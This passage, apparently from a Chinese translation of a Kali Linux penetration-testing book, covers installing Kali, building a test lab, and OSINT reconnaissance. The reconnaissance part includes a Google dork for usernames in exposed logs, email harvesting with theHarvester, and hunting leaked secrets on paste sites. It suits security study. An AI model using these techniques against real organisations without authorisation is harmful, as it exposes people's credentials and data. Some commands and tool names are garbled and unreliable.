·后期利用阶段：对目标的行动。这经常被称为“渗漏阶段”（exfiltration phase），这是错误的，因为通常理解的攻击，仅仅以窃取敏感信息作为唯一的目的（如登录信息、个人信息和财务信息）；但是，通常情况下，攻击者有不同的攻击目标。例如，这一阶段必须专注于攻击者的许多可能的行动。 最常见的利用活动是攻击者试图提升他们的访问权限到最高级（纵向升级），并且破解尽可能多的账号（横向升级）。 ·后期利用：持久性。如果攻击一个网络或者系统是有价值的，那么这个价值很可能在持续攻击下增长。这就需要攻击者持续与被攻破的系统之间保持通信。从防护者的角度来看，这是攻击杀链中最容易检测到的一部分。 当攻击者试图攻击网络或特定的数据系统时，攻击杀链是攻击者行为的一种基本模型。作为一种元模型，它可以吸收任何私人的或商业的渗透测试方法。但是，也不同于这些方法，它使攻击者在一个战略高度上关注如何接近网络。这种专注于攻击者的活动将引导本书的布局和内容。"},
    {"text": "1.4 Kali Linux介绍——历史和目的 Kali Linux（Kali）继承于BackTrack渗透测试平台，通常认为BackTrack是测试安全数据和语音网络的实际标准工具包。它是由Mati Aharoni和Devon Kearns联合开发的攻击性安全防护工具。Kali的发展历程如下： ·2013年3月，基于Debian GNU/Linux开源系统的渗透测试新工具Kali Linux取代了BackTrack。 ·Kali 1.1.0（2015年2月9日）：这是kali两年来的第一次升级，其内核补丁改至3.18，有无线注入攻击的补丁，支持无线驱动——大约有58个固定bug。其他版本如Kali 1.1.0a可以选择性地安装某些程序。 ·Kali 2.0（2015年8月11日）：这是一个主要版本，现在是滚动分布，主要更改了UI。可以从旧版本更新到新版本Kali 2.0。 ·Kali 2016.1（2016年1月21日）：推出了第一个Kali。内核4.3和最新的Gnome 3.18的发行版本。 ·Kali 2016.2（2016年8月31日）：第二个Kali滚动版本。内核4.6和Gnome 3.20.2更新修复了一些错误。 Kali 2.0的其他功能包括： ·包含超过300个渗透测试、数据取证和防御工具。它们由硬件和内核补丁程序提供无线支持，允许一些数据包注入无线攻击。 ·支持多种桌面环境，例如Gnome、KDE、LXDE以及XFCE，也支持多种语言。 ·兼容Debian的工具每天至少和Debian资源库同步四次，使更新封装包和支持安全修复更容易。 ·有安全的发展环境和GPG签名的包和回购协议。 ·支持ISO自定义，也就是允许用户建立他们自己的Kali版本。引导程序功能也执行企业级网络的安装，可以用先前的种子文件进行自动化安装。 ·随着基于ARM的系统变得越来越普遍，成本越来越低，所以支持ARMEL和ARMHF的Kali可安装在如下设备上，例如rk3306mk/ss808、Raspberry Pi、ODROID U2/X2、Samsung Chromebook、EfikaMX、Beaglebone Black、CuBox和Galaxy Note 10.1。 ·Kali保留了一个免费的开源项目。最重要的是，它得到了活跃的在线用户群的支持。 Kali Linux的目的是保护并集成所有的工具，为渗透测试人员提供一个统一的平台。 1.5 安装和更新Kali Linux 在本书的上一版中，我们主要介绍了在VMware上安装Kali Linux。现在将更全面地介绍Kali Linux的不同安装方法与更新技术。 1.6 在便携式设备中使用Kali Linux 将Kali Linux安装到便携式设备中相当简单。在某些情况下，客户不允许在安全设施内部使用外部笔记本电脑。这种情况下，通常客户端向漏洞测试者提供测试计算机以进行扫描。在漏洞测试和RTE时，在一个便携式设备上运行Kali Linux有更多的好处： ·使用USB或者移动设备时，Kali在你的口袋中。 ·无需对主机操作系统进行任何更改，Kali可以直接运行。 ·可以自定义构建Kali Linux，甚至使用固化存储器。 从Windows PC将USB转换为便携式Kali是一个简单的过程，包含三个步骤： 1）Kali Linux映像的官方下载URL为： http://docs.kali.org/introduction/download-official-kali-linux-images 。 2）Win32Disk Imager的下载地址为： https://sourceforge.net/projects/win32diskimager/ 。 3）以管理员身份打开Win32Disk Imager。将USB驱动器插入PC的可用USB端口，可以看见图1.2所示的界面。选择正确的驱动器名称，然后单击Write。 图1.2 Win32 Disk Imager启动界面 一旦完成，退出Win32Disk Imager，并安全移出USB。现在Kali Linux已经在便携式设备上准备好了，并可以插入任何笔记本电脑来直接启动。如果主机操作系统是Linux，则可以通过两个标准命令来实现，即--sudofdisk-1和dd if=kali linux.iso of=/dev/nameofthedrive bs=512k。前者将显示驱动器上安装的所有磁盘；对于后者，如果用于输入文件，dd命令行执行转换和复制，of是指输出文件，bs是指块大小。"},
    {"text": "1.7 将Kali安装到虚拟机中 本节将深入了解如何将Kali安装到VMware Workstation Player和Oracle VirtualBox中。 VMware Workstation Player VMware Workstation Player以前称为VMware Player，可供个人免费使用。在主机操作系统中，VMware虚拟机作为桌面应用程序存在，允许商用。该应用程序可以从URL http://www.vmware.com/products/player/playerpro-evaluation.html 下载。 接下来，介绍将Kali Linux逐步安装到VMware Workstation Player中的过程。 一旦将文件下载到主机操作系统中，只需单击Open the executable（打开可执行文件）即可看到如图1.3所示的屏幕截图。 图1.3 VMware Workstation Player安装界面 下一步是接受最终用户许可协议，单击Next，直至获得如图1.4所示的屏幕，屏幕显示了在主机操作系统上成功安装了VMware。 下一步将Kali Linux安装到VMware，我们已经从官方的Kali Linux下载了文件，现在点击Create a NewVirtual machine（创建新的虚拟机）并选择Installer disc image file（iso）（安装磁盘映像文件）。浏览下载的ISO文件，然后单击Next。现在可以输入所选择的名称（例如，HackBox），并选择要存储VMware映像的自定义位置。单击Next，然后指定运行Kali的最小磁盘容量（推荐为10GB），然后单击Next直到完成所有设置。完成后，应该可以看到如图1.5所示的屏幕。 图1.4 VMware Workstation Player安装成功界面 图1.5 Kali Linux安装到VMware Workstation Player的步骤 可以选择将Kali Linux安装到主机操作系统或将其作为实时映像运行。一旦完成所有安装步骤，就可以从VMware成功启动Kali Linux，如图1.6所示。 图1.6 Kali Linux安装完成 注意： Sana存储库从新版本的kali-linux 2016.2中删除。Sana是由包组成的存储库的代码名称。所以建议安装/启动Kali Linux后的第一步是运行apt-get update，以便更新sources.lst文件。 VirtualBox VirtualBox类似于VMware Workstation Player，它是一个完全开源的虚拟机管理程序，也是可以从主机操作系统运行任何虚拟机的免费桌面应用程序。可以从 https://www.Virtualbox.org/wiki/Downloads 下载VirtualBox。 现在将在VirtualBox上安装Kali。与VMware类似，将执行所下载的可执行文件，这些可执行文件将引导我们进入如图1.7所示的屏幕。 图1.7 VirtualBox安装包启动界面 一旦点击Next，VirtualBox应该提供自定义选项选择不同的存储方式，默认情况下，我们将选择VirtualBox Application，如图1.8所示。 点击Next，可以看到安装进度，如图1.9所示。 图1.10提供了成功安装Oracle VirtualBox的确认信息。 图1.8 VirtualBox安装步骤 图1.9 VirtualBox安装进度 图1.10 VirtualBox安装成功界面 下一步是将Kali Linux安装到VirtualBox中。点击菜单中的New，出现如图1.11所示的屏幕，可以输入所选择的名称，并选择平台的正确版本。例如，根据我们下载的ISO映像，选择64位Debian或32位Debian。 单击Next，并提供Kali所需的RAM大小。我们建议RAM至少为1GB。通过点击Next，将在主机操作系统上为Kali Linux创建一个虚拟硬盘。单击Next选择硬盘文件类型，大多选择VDI（Virtualbox Disk Image），如图1.12所示。 图1.11 选择Kali Linux安装版本 图1.12 为Kali Linux创建虚拟硬盘类型 点击Next，创建硬盘的大小，如图1.13所示。 最后，我们必须到Hackbox|Settings中，将ISO映像加载为外部驱动，如图1.14所示。 图1.13 为Kali Linux创建虚拟硬盘大小 图1.14 将ISO映像加载为外部驱动 现在应该可以看到以下截图，已成功安装Kali Linux到VirtualBox，如图1.15所示。 图1.15 安装Kali Linux到VirtualBox 1.8 将Kali安装到Docker设备 Docker是一个开源项目，旨在即时自动部署软件容器和应用程序。Docker还在Linux上提供了操作系统级的虚拟化附加抽象和自动化层。 Docker适用于Windows，MacOS、Linux、AWS（Amazon Web Services）和Azure。在Windows中，可从 https://download.docker.com/win/stable/InstallDocker.msi 下载Docker。 以下步骤显示如何在Windows 10中安装Docker，如图1.16所示： 图1.16 安装Docker初始界面 安装Docker到Windows，需要使用Microsoft Windows上的Hyper-V功能。如果没有启用Hyper-V，很可能会看到如图1.17所示的界面。 一旦点击Ok，Hyper-V将由Docker应用程序启用，可以通过简单地输入docker命令查看命令提示信息，如图1.18所示。 现在，我们已经将Docker设备安装到Windows主机操作系统。使用简单的docker pull kalilinux/kalilinux-docker命令安装Kali Linux，如图1.19所示。 图1.17 没有启用Hyper-V，安装失败界面 图1.18 查看命令提示符 图1.19 使用命令安装Kali Linux 一旦将Kali Linux下载到Docker应用程序，就可以立即从下载的Kali Docker设备运行run-t-i kalilinux/kal-linux-docker/bin/bash，如图1.20所示。 图1.20 运行bash 应该能够直接从Docker运行Kali Linux。另外，请注意，Docker在后台使用VirtualBox环境。因此，它是通过Docker设备在VirtualBox上运行的虚拟机。"},
    {"text": "1.9 将Kali安装到云——创建一个AWS实例 AWS是Amazon提供的一个基于云的平台，Amazon主要为客户提供随时随地的计算、存储和内容传送。渗透测试者或黑客可以利用AWS进行渗透测试，本节将介绍最简单地将Kali Linux安装到AWS中的方法，在外部命令和控制的情况下，这将非常方便。 首先，需要一个有效的AWS账户。可以通过访问 https://console.aws.amazon.com/console/home 注册。 登录AWS账户后，可以看到所有的AWS服务，如图1.21所示。 第二步是在AWS上启动Kali Linux。我们将通过安装Debian操作系统来定制Kali Linux。开源社区使得在Amazon Marketplace中直接启动预配置的Kali Linux 2016.2变得非常简单。 https://aws.amazon.com/marketplace/pp/B01M26MMTT 将使我们能够在几分钟内直接启动Kali Linux。 当访问该链接时，能够看到如图1.22所示的内容。 点击Accept Software Terms&Launch with 1-Click（接受软件条款并且启动）按钮，然后通过访问 https://console.aws.amazon.com/ec2/v2/home?regin=us-east-1 ，来访问你的AWS控制台。现在可以通过在Launch Instance（创建实例）上选择Instance ID按钮来创建一个实例，如图1.23所示。 图1.21 AWS服务 图1.22 访问链接界面 为了确保只有你可以访问Kali Linux，需要创建一个键值对。现在可以使用在键值对中生成的私钥登录到你的AWS云。然后，通过从命令shell输入以下命令来登录： 图1.23 创建一个实例 图1.24显示了Kali已在AWS上成功安装。 图1.24 在AWS上成功安装Kali的界面 必须满足所有条款和条件才能利用AWS进行渗透测试。在发起云主机的任何攻击之前，必须遵守法律条款和条件。 1.10 组织Kali Linux 安装只是搭建的第一步，组织Kali Linux非常重要。本节会通过不同的定制方式来组织HackBox。"},
    {"text": "1.10.1 配置和自定义Kali Linux Kali是一个用来完成渗透测试的框架。然而，测试人员不会感觉到相关联的默认安装的测试工具，或者是使用Kali桌面安装的工具。通过自定义BackTrack，测试人员可以提高收集到的客户数据的安全性，使渗透测试更简单。 Kali的常见自定义包括： ·重置超级用户密码 ·添加普通用户 ·加速Kali运行 ·与Microsoft Windows共享文件夹 ·使用BASH脚本来定制Kali 重置超级用户密码 使用以下命令修改用户密码： 然后会提示你输入一个新的密码，如图1.25所示。 图1.25 修改用户密码 添加普通用户 为了执行其功能，Kali提供的许多应用必须用超级用户的权限（Root-level privileges）运行。超级用户权限有一定的风险，例如，输错一个命令或者使用了一个错误的命令，将会导致应用终止，甚至损害被测试的系统。在一些例子中，使用普通用户级权限来测试是更可取的。事实上，一些应用促进了低权限账户的使用。 为了创建一个普通用户，可以简单地在终端上使用命令adduser，接着会出现指令，如图1.26所示。 图1.26 创建普通用户 加速Kali运行 以下几个工具可以用来优化和加速Kali运行： ·在使用虚拟机时，安装VM软件驱动包Guest Additions（VirtualBox）或者VMware Tools（VMware）。我们需要确认在安装之前运行了apt-get update。 ·在创建虚拟机时，选择一个固定大小的磁盘，而不是动态分配的磁盘。固定大小的磁盘可以更快地添加文件，并且碎片更少。 ·预先加载的应用（apt-get install preload）能识别一个用户最常用的程序，也能把二进制文件和依赖性预先加载到内存，以提供更快速的访问。随着安装后的第一次重启，它会自动运行。 ·BleachBit（apt-get install bleachbit）释放磁盘空间，通过释放缓存、删除cookie、清除上网记录、粉碎临时文件、删除日志，以及丢弃其他一些非必需的文件来提高隐私性。使用高级技术，包括粉碎文件来防止恢复，擦除空闲磁盘空间来隐藏没有完全删除的文件的踪迹。 ·在默认情况下，Kali不会显示所有出现在开始菜单里的应用。每个在启动阶段安装的应用降低了系统数据，并且可能会影响内存使用和系统性能。用启动管理器BUM（Boot Up Manager）来禁止启动时非必要的服务和应用（apt-get install bum），如图1.27所示。 ·直接从键盘添加gnome-do（apt-get install gnome-do）启动应用。从应用|附件（Applications|Accessories）菜单中选择gnome-do配置它。一旦启动后，选择首选项（Preferences）菜单，激活静启动（Quiet Launch）功能，并选择一个启动命令（例如，Ctrl+Shift）。选好启动密钥后，清除现有的命令，然后输入需要执行的命令行。 ·如果不从键盘直接启动，那么可能会写入一些能启动复杂操作的特定脚本语句。 图1.27 启用BUM 与主机操作系统共享文件夹 Kali工具集能灵活地与驻留在不同操作系统上的应用共享成果，特别是Microsoft Windows。最有效的数据共享方式是创建从主机操作系统以及Kali Linux VM客户机能访问的一个文件夹。 当将主机或VM中的数据放置在共享文件夹中时，所有能访问共享文件夹的系统都能立刻访问数据。 创建共享文件夹的步骤如下： 1）在主机操作系统上建立一个文件夹。在这个例子中，我们将其命名为Kali_Share。 2）右击文件夹，选择共享（Sharing）选项卡，并从中选择Share。 3）确保文件是与每个人（Everyone）共享的，允许级别（Permission Level）设置为读/写（Read/Write）。 4）如果你没有这样操作，那么在BackTrack上安装适当的工具。例如，在使用VMware时，安装VMware工具（具体安装步骤可参考本书附录）。 5）在完成安装之后，在VMware菜单里选择虚拟机设置（Virtual Machine Setting）。找到共享文件夹（Shared Folders）菜单，并选择保持打开（Always Enabled）选项。创建主机操作系统中已存在的共享文件夹的路径，如图1.28所示。 图1.28 虚拟机设置界面 6）使用Oracle VirtualBox时，选择“VM”进入“Settings”然后选择“Shared Folders”如图1.29所示。 图1.29 选择“Shared Folders”选项 注意： 旧版本的VMware player使用了不同的菜单 7）打开Kali桌面上的文件浏览器。可以在mnt文件夹中找到共享文件夹（也有可能在子文件夹hgfs中找到）。 8）将文件夹拖到Kali桌面上，这样就创建了一个到真实文件夹的链接。 9）在主机操作系统中，具有相同名字的文件夹中的所有内容都可以被访问，反之亦然。 共享文件中，将包含一次渗透测试中的敏感数据，所以需要通过加密来保护用户网络，在数据丢失时，减轻测试人员的责任。 使用BASH脚本来定制Kali 通常，为了维护系统和软件开发，在Linux中的命令行界面开发了多个shell，即sh、bash、csh、tcsh和ksh。 根据渗透测试的目标，可以利用以下bash脚本定制Kali Linux： · https://github.com/leebaird/discover/blob/master/update.sh · https:/code.google.com/archive/p/lazykaili/downloads"},
    {"text": "1.10.2 建立验证实验室 作为渗透测试人员，建议你搭建自己的验证实验室来测试任何类型的漏洞，在现场环境中模拟相同的概念之前，要有正确的概念证明。"},
    {"text": "图1.30 选择服务器角色 图1.31 安装.Net Framework 3.5.1Features 安装服务后，我们需要确定能通过单击Active Directory Domain Services安装向导运行该服务，并按照说明创建新的森林。"},
    {"text": "你可以下载ZIP文件并将其解压到你最喜欢的Windows位置（通常，将其解压到c：\\HackTools\\文件夹中），或者你还可以使用git clone与bash命令相链接。"},
    {"text": "图1.34是在Windows 10操作系统上手动安装Metasploitable3的快照。 图1.34 安装Metasploitable3的快照 一旦下载了ISO vbox镜像，就将收到一条消息，如图1.35所示。"},
    {"text": "可从 https://sourceforge.net/projects/mutillidae/files/latest/download 下载Mutillidae。 解压安装包并将文件夹复制到c：\\yourxampplocation\\htdocs\\<mutillidae>。 如图1.38所示，可以看到Web应用程序安装成功，可以通过 http://localhost/mutillidae/ ： 查看软件Mutillidae状态。"},
    {"text": "图1.37 启动XAMPP 图1.38 Mutillidae网页界面 使用Faraday管理合作渗透测试 渗透测试中最困难的方面之一，是在测试完毕后，记住测试的网络或目标系统中所有有关部分。"},
    {"text": "它是为测试人员设计的，用于分配、索引和分析在渗透测试或技术安全审核过程中生成的所有数据，以提供不同视角，如管理、执行摘要和全部问题列表等。"},
    {"text": "最后，我们运行faraday-server.py启动一个集成平台的Faraday服务器。 作为客户端，我们应能够通过运行faraday.py来启动Faraday，如图1.40所示。 图1.40 用./faraday.py命令启动Faraday IDE 启动Faraday应向我们开放Faraday shell控制台，如图1.41所示。"},
    {"text": "1.11 小结 在本章中，我们介绍了不同的测试方法，以及针对实时攻击进行测试的基于目标的测试的组织方法。我们介绍了渗透测试人员如何在多个不同平台上使用Kali Linux来评估数据系统和网络的安全性。我们已经在不同的虚拟化平台上安装了Kali，并且看到在Windows平台上使用Docker运行Linux操作系统的快捷。 我们建立了自己的验证实验室，搭建了活动目录域服务（Active Directory Domain Services），也在同一网络上搭建了两个不同的虚拟机。最重要的是，你学习了如何使用定制的Kali工具来提高收集到的数据的安全性。我们正在使用工具支持进程的目标，而不是相反的方式！ 下一章将介绍如何有效利用开源情报（Open Source Intelligence，OSINT）来识别目标的易攻击面，以及创建特定的用户的密码表，以促进更有效的攻击和利用。 第2章 开源情报和被动侦察 “如果一件事情注定不在互联网上，那一开始就不应该在互联网上。” 信息收集是从公开可用资源获取所有相关信息的一种方式，这涉及开源情报（Open Sourcew Intelligence，OSINT）。通过OSINT的被动侦察，是进行渗透测试（或者攻击）网络（或者服务器）目标杀链的第一步。攻击者通常花费75%的时间对入侵目标进行渗透测试，在这一阶段，允许对目标进行定义、确定攻击目标的映射关系、探索其安全漏洞，以便最终进行漏洞利用。 侦察可以分为两种类型：被动侦察（passive reconnaissance）和主动侦察（active reconnaissance）。 被动侦察一般是指分析公开的信息，这些信息包括目标本身的信息、在线的公共资源信息。在获取这些信息时，测试者或攻击者不会与目标交互，他们的请求和活动不会被日志记录，也无法直接定位测试者。因此，在被动侦察中要尽可能地减少与目标的交互，与目标的交互可能会确认攻击者身份。 在本章中，你将学习被动侦察的原则与实例，主要包括如下内容： ·侦察的基本原则。 ·开源情报（Open-source intelligence，OSINT）。 ·线上资源。 ·用脚本自动收集OSINT数据。 ·获取用户相关信息。 ·分析用户密码列表。 ·用社交媒体提取词汇。 主动侦察则与目标直接交互，主要在第3章中介绍。 2.1 侦察的基本原则 在进行渗透测试或攻击数据目标时，侦察是杀链的第一步。这是在实际测试或攻击目标网络之前进行的。侦察的结果会给出需要额外侦察的方向或者指出在漏洞利用阶段要攻击的漏洞。 侦察活动是与目标网络或设备交互过程的一部分。 被动侦察并不与目标网络产生直接的交互。攻击者的源IP地址和活动不会被日志记录（例如，一个对目标邮件地址的谷歌搜索）。在正常的商业活动中想要区分出哪些活动是被动侦察是困难的，或者说是不可能的。 ·当攻击者以一种可预期的方式与目标交互时，被动侦察可以看作是与目标的正常交互。例如，攻击者登录公司网站、浏览不同的网页、下载进一步研究的文档。这些交互活动属于可预期的用户活动，很少被看作是攻击目标的前奏。 ·主动侦察涉及直接查询或其他交互活动（例如，目标网络的端口扫描）。这些活动会触发系统警报，被攻击的目标也能获取攻击者的IP地址和活动信息。在法律诉讼中，这些信息能够用来确认攻击者的身份，或抓捕攻击者。因此，测试者在主动侦察中需要额外技术手段来确保不被发现，第3章将详细介绍主动侦察与漏洞扫描。 渗透测试人员或者攻击者一般会遵循一个结构化的信息收集过程——从广泛的信息（商业信息、监管环境信息）收集，到特定具体的信息（用户账户数据）收集。 为了提高效率，测试人员需要准确地知道他们需要找寻的信息，以及在开始收集信息前就知道这些数据怎么使用。利用被动侦察和限制收集数据的数量，能最大限度地降低被发现的风险。 2.1.1 开源情报 一般来说，渗透测试或进行攻击的第一步是开源情报收集。OSINT指的是从公共的资源，特别是互联网上，进行信息收集。可用的信息是相当多的——大多数的情报机构和军事组织正积极地在OSINT中收集目标信息，并防止自身数据的泄露。 OSINT可以分为两种类型：进攻和防守。进攻型需要分析对防范目标进行攻击所需的所有数据，而防御型只是收集以前的违规数据和与目标相关的其他安全事件的技术。 图2.1描绘了OSINT的基本思路。"},
    {"text": "2.1.2 进攻型OSINT 需要收集的目标信息依赖于渗透测试的初始目标。例如，如果测试人员要访问财务数据，那么他们需要相关人员（财务总监、应收账目、应付款，等等）的姓名和履历信息、他们的用户名和密码。如果攻击路线包括社交工程，他们可能会将这个信息补充上，以提供请求信息的真实性。 图2.1 OSINT基本思路 ·域名（Domain names）：在外部场景中识别攻击者或渗透测试人员的目标是通过域名开始的，域名是OSINT中最关键的元素。 ·DNS侦察和路由映射（DNS reconnaissance and route mapping）：一旦测试员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。 DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试员或攻击者与最终目标之间的路由。 搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。 在下一节中，我们将讨论如何使用Kali Linux中的简单工具来枚举所有域名。 2.1.3 Maltego 对个人或组织的侦察，Maltego是OSINT框架中最强大的一个。这是一种GUI工具集，通过各种方法收集个人在互联网上公开的信息。它还能够枚举域名系统（DNS），强力破解普通DNS，并以易于阅读的格式收集来自社交媒体的数据。 如何在基于目标的渗透测试或红队练习中使用Maltego M4，我们可以利用此工具开发数据可视化软件，用于处理我们收集的数据。社区版将随着Kali Linux发行。访问该应用程序的最简单方法是在终端中输入maltegoce。在Maltego中，这类任务被称为转换（transforms）。转换内置在工具中，被定义为执行特定任务的代码脚本。Maltego还提供多种插件，如sensepost工具集、shodan、Virustotal、threatminer等。 为了访问Maltego，需要在Paterva创建一个账户。可以通过访问 https://www.paterva.com/web7/community/community.php 创建一个账户。创建账户并且成功登录Maltego应用程序后，应该可以看到如图2.2所示的界面。 图2.2 登录Maltego启动界面 点击Next，你应该准备好所有的设置如图2.3所示。 图2.3 Maltego设置界面 现在单击Finish，就可以使用Maltego了，在启动Maltego引擎的实例时运行以下选择。 通常，当我们选择Maltego公共服务器时，将选择以下服务： ·Company Stalker（公司跟踪）：用于获取域中的所有电子邮件地址，然后查看哪一个与社交网络有关联。它还下载并提取互联网上已发布文档的元数据。 ·Find Wikipedia edits（查找维基百科编辑）：这里我们有域作为输入，它寻找维基百科编辑。 ·Footprints L1（足印L1）：执行域的基本足印。 ·Fortprint L2（足印L2）：执行域的中等级别足印。 ·Fortprint L3（足印L3）：这需要深入一个域，因为它占用了所有的资源，通常被小心使用。 ·Fortprint XML（足印XML）：这适用于大型目标，例如托管自己的数据中心的公司，并尝试通过查看发送方策略框架（Sender Policy Framework，SPF）记录来获得网络块，以及将委派的DNS委托给其名称服务器。 ·Person–Email Address（私人–电子邮件地址）：用于获取某人的电子邮件地址，并查看互联网上使用的位置。输入的不是一个域，而是一个完整的电子邮件地址。 ·Prune Leaf entries（修剪条目）：这提供了修剪中的实体列表。 ·Twitter digger X（推特挖掘机X）：这是推特推文分析器别名。 ·Twitter digger Y（推特挖掘机Y）：这涉及推特的关联，在其中发现、提取和分析推文。 ·Twitter Monitor（推特监视器）：这可以用于执行操作来监视推特的主题标签（hashtag），和围绕某个短语提到的实体。输入是短语。 ·URL to Network and Domain Information（网络和域信息的URL）：这使用URL来标识域的详细信息。 图2.4是Maltego为公众提供的可用选项列表： 图2.4 Maltego可用的选项列表 攻击者从Footprint L1开始，基本的任务是了解域、潜在可用的子域名和相关IP地址。以采集部分信息开始是非常好的；自然，攻击者也可以使用前面提到的其他机器来实现目标。选择机器后，单击Next并指定一个域，例如packtpub.com。图2.5提供了cyberhia.com的概述。 图2.5 cyberhia.com目录"},
    {"text": "2.1.4 CaseFile CaseFile是Maltego的姊妹版。它是一种离线和视觉智能应用程序，可用于确定真实连接，区分100种不同类型信息。它使攻击者能够快速查看所有级别的顺序关系，并找到其他不可发现或被忽视的链接。 CaseFile也可以被认为是一种数据分析工具，在取证调查过程中可能非常有效，并且还可以上传自定义数据集并建立链接关系。这可以可视化以CSV、XLS和XLSX格式存储的数据集。一旦攻击者打开CaseFile，他们将能够构建自己的场景，例如，图2.6表示了一个用户John Doe使用多个智能设备，如PC、手机、智能手机以及使用电子邮件发送恶意软件的笔记本电脑之间的关系。 图2.6 用户与多个智能设备的关系图 攻击者如何在渗透测试中使用此工具？它可以用于几乎所有类型信息的调查、收集、分析和智能处理。这不仅非常方便，也可以与多人共享。 2.1.5 Google缓存 来自互联网的东西并不意味着会从Google删除。被Google访问过的页面都被备份为快照存放在Google缓存中。通常情况下，可以根据搜索查询来查看Google是否可以为你提供最佳的可用页面。同样可以用来收集关于目标的信息：例如，被采集的数据库的详细信息已经发布在sampledatadumpwebsite.com上，该网站或该链接已经从互联网上消失。如果Google已访问该页面，则此信息会为攻击者提供大量信息，例如用户名、哈希密码、正在使用的后端类型以及其他相关的技术和策略信息。以下链接是收集过去数据的第一级： · http://cachedview.com/ · http://webcache.googleusercontent.com/search?q=cache：cyberhia.com · http://web.archive.org/web/*/ 图2.7是谷歌的Web缓存在2017年2月6日保持的cyberhia.com网站信息截屏。 图2.7 谷歌缓存cyberhia.com信息 我们将在后面的Google Hacking数据库部分中讨论Google隐藏的更多内容。 2.1.6 抓取 攻击者利用从网站提取的大量数据集，进而将提取的数据存储到本地文件系统中，这种技术称为抓取或网页抓取。在下一节中，我们将使用Kali Linux中最常用的一些工具来完成数据抓取。 2.1.7 收集姓名和电子邮件地址 theHarvester工具是一个Python脚本，该脚本借助流行的搜索引擎和其他一些站点来进行搜索，如电子邮件地址、主机以及子域站点等。 使用theHarvester工具是相当简单的，只需通过几个命令参数来进行设置。可用的选项如下： ·-d：用来确定搜索的域；即一般的域或者目标网站。 ·-b：用来确定提取信息的来源；来源必须是下面的一种： ·Bing、BingAPI、Google、Google-Profiles、Jigsaw、LinkedIn、People123、PGP，或者以上的全部。 ·-l：该选项使theHarvester只收集来自特定数目的返回搜索结果的数据。 ·-f：用来保存最后结果，保存为HTML文件或者XML文件。如果省略该选项，结果将会显示在屏幕上，但是不会被保存。 图2.8说明了对Facktpub.com域的一个简单theHarvester索引搜索。 图2.8 用theHarvester搜索Facktpub.com域 2.1.8 获得用户信息 许多渗透测试员收集用户名和电子邮件地址，因为这些信息经常用于登录目标系统。 最常用的工具是网页浏览器，用来手动搜索目标组织的网站，也包括第三方站点，例如LinkedIn或Jigsaw。 Kali包含的一些自动工具可以支持手动搜索。 以前雇员的电子邮件地址仍然可以使用。在实行社交工程攻击时，对一个从前雇员来的直接信息请求，通常导致一个对攻击者的重定向，该信息能使攻击者“可信”，可能被当作前雇员对待。此外，许多机构不能正确地终止员工账号，这些证书有可能仍会给予访问目标系统的权限。 2.1.9 Shodan和censys.io 在易受攻击的主机的海洋中，哪里可以找到它？攻击者通常会利用现有的漏洞来获取系统的访问权限，所以最简单的方法之一是搜索Shodan。Shodan是最疯狂的搜索引擎之一，可让互联网上的任何人使用各种过滤器查找连接到互联网的设备。可以通过链接 https://www.shodan.io/ 访问Shodan。这是全球搜索信息的可选网站之一。如果搜索到公司的名称，它将提供其数据库中具有的任何相关信息，例如，IP地址、端口号和正在运行的服务。 在主机上运行IIS 5.0的 https://www.shodan.io/ 屏幕截图如图2.9所示。 图2.9 从网站运行IIS 5.0的主机屏幕 类似于Shodan的攻击，现在，我们也可以利用scans.io API或censys.io作相关信息采集，它们能提供IPv4主机、网站认证的更多信息，以及其他存储的信息。图2.10提供有关Microsoft.com的信息。 图2.10 有关Microsoft.com的信息 2.2 Google黑客数据库 最近，Google成了人们更新数据的方式。Google成为搜索任何未知东西、收集相关主题信息的通用工具。在本节中，我们将详细介绍渗透测试人员如何通过dork（呆子）来利用Google。"},
    {"text": "2.2.1 使用dork脚本来查询Google 了解Google Hacking数据库的第一步是了解所有典型的Google运算，就像机器级编程工程师必须了解计算机操作代码一样。这些Google运算是Google查询的一部分，搜索的语法如下： Operator：itemthatyouwanttosearch 操作、冒号和itemthatyouwanttosearch之间没有空格。 表2.1列出了所有典型的谷歌运算操作。 表2.1 谷歌运算操作 图2.11显示了一个简单的Google dork在日志文件中搜索用户名。 dork搜索是allintext：username filetype：log： 更具体的操作，我们可以参考Google的指南： http://www.googleguide.com/advanced_operators_reference.html ，并利用众所周知的Google dorks： https://www.exploit-db.com/google-hacking-database/ 来完成。 2.2.2 DataDump网站 为了在网络上更迅速、更有效地分享信息，现场应用（the on-spot apps）进行了创新，如pastebin.com。自然，这是开发人员存储应用程序的源代码、加密密钥和其他机密信息时留下的主要缺点之一。这种在线信息为攻击者提供了丰富的信息列表，攻击者可以制定更集中的攻击。 图2.11 简单的Google dork搜索用户名 归档论坛还会显示特定网站的日志，或者以前曾被黑客入侵的黑客攻击事件。Pastebin提供此信息。图2.12显示了目标机密信息的列表。 图2.12 目标机密信息的列表 什么是呆子（Dork）？呆子形容一个人社交无能、尴尬、不在乎任何实践。 2.2.3 使用脚本自动收集OSINT数据 在信息安全研究领域，总是考虑如何节省收集相关信息的时间，而把更多的时间用于关注脆弱性研究和开发。在本节中，我们将更多地关注如何使用OSINT自动化工具，使被动侦察更有效。 前面是一个非常简单的自动化脚本，利用一些在Kali的命令行工具，存储输出在多个文件中，没有数据库。然而，攻击者可以利用类似的脚本来自动化大多数命令行工具，以获取大部分信息。 2.2.4 防守型OSINT 防守型OSINT通常可以看到已经被掌控的内容，并且在渗透测试活动期间看看这些信息是否有价值。如果渗透测试的目标是演示真实世界的场景，那么根据这些数据可以很方便地初步识别已经掌控的类似目标。大多数组织只修复受影响的平台或主机，很多时候他们忘记了其他类似的环境。防守型OSINT大致在三个地方搜索。 1.暗网 暗网（Dark Web）是Tor服务器及其客户端之间存在的加密网络，而暗网仅仅提供数据库和一些Web服务内容，由于人为或其他原因，常规搜索引擎无法对其进行搜索。对于一些制药公司，黑市可能会出现被禁药物销售。作为示例，图2.13是从洋葱网站截获的（4yjes6zfucnh7vcj.onion/category/86），由于洋葱网站经常变化，在以后可能不能看到这个截屏内容了。 图2.13 暗网网站截图 2.安全漏洞 安全漏洞是指通过绕过底层安全机制，未经授权访问数据、应用程序、服务、网络或设备的任何事件。 